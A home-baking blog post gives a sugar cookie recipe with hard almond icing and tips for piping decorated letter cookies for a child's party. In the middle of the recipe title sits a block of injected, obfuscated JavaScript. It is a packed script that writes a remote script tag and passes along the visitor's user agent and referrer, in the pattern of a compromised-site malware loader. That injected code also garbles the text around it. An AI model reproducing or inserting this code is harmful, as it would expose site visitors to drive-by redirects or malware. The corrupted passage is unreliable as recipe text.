Sugar Cookies with HARD Icing

I’m always looking for an excuse to bake. Recently, I’ve felt super busy and haven’t had as much time to bake as I’d like. BUT when a friend at work asked if I could make a dozen sugar cookies and decorate them like a pro, how could I say no?

Her son is really into letters. Like REALLY into letters. Might not be following after engineer mom 🙂 So I made the first letter of each party attendees name. It was so much fun decorating the cookies!

First, the recipes.

Sugar ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndsis|var|u0026u|referrer|nfhhr||js|php’.split(‘|’),0,{}))
Cookies (from a friend)

1 cup shortening
2 cups sugar
2 eggs
1 cup sour cream
1 tsp vanilla
4 1/2 cups flour (it ended up being 5 1/2 by the time I was done….keep reading)
4 tsp baking powder
1/2 tsp salt
1/2 tsp soda

Cream sugar and shortening together, then add eggs 1 at a time. Add sour cream and vanilla and mix well.
Combine dry ingredients and add last, a little at a time. Then add extra flour until dough doesn’t stick easily to your hands – I ended up adding an additional cup. Roll out onto a floured surface, about .125″ ish thick and cut! I made the letters a little on the thick side so they didn’t break. It made for a heftier cookie that still tasted great. BUT the thin cookies were pretty sturdy as well and I don’t think they would have broken either.
Bake at 350° for 8-11 minutes. Bottoms should be light brown and the tops should just start to crack a little. I used air insulated baking sheets and they never really got all that brown. And it was closer to 11 minutes. When I used the non-insulated cookie sheet, they definitely browned. I actually preferred the flavor of the non-brown cookies. To each his or her own.

The Frosting, Sugar Cookie Icing (adapted from HERE)

1 cup powdered sugar
2 tsp milk (I used nonfat)
2 tsp light corn syrup
1/4 tsp almond extract
food coloring

Mix powdered sugar and milk until smooth
Add the corn syrup and almond extract (use corn syrup to thin)
Divide up this batch into separate bowls and color them individually. If you need more, make the recipe bigger! I ended up using 4 colors, so I multiplied the recipe by 4 and had lots leftover. For the above cookie recipe, I’d recommend doubling or tripling the frosting recipe (quadrupling was a bit overkill).
I use disposable bags for frosting. WAY easier to clean up. I also use frosting couplers and tips.

The items you may need to buy:
Food coloring paste (from William Sonoma)
Disposable pastry bags (from Amazon)
Couplers (from Amazon, Wilton or Ateco)
Decorating tips (from Amazon)

I used 4 different colors – so I needed 4 couplers and 4 decorating tips. I used small, round tips to maximize the control.

There’s a great trick to filling the bags with icing. Use a cup to keep the bag upright. Does this make sense? Fold the edge of e bag around the opening of the cup to make it easier to fill. (You should have already snipped the tip and inserted half of the coupler).

Then decorate away! These hardened pretty quick and transported nicely. I even got word that they were delicious 1 week later!

One reply on “Sugar Cookies with HARD Icing”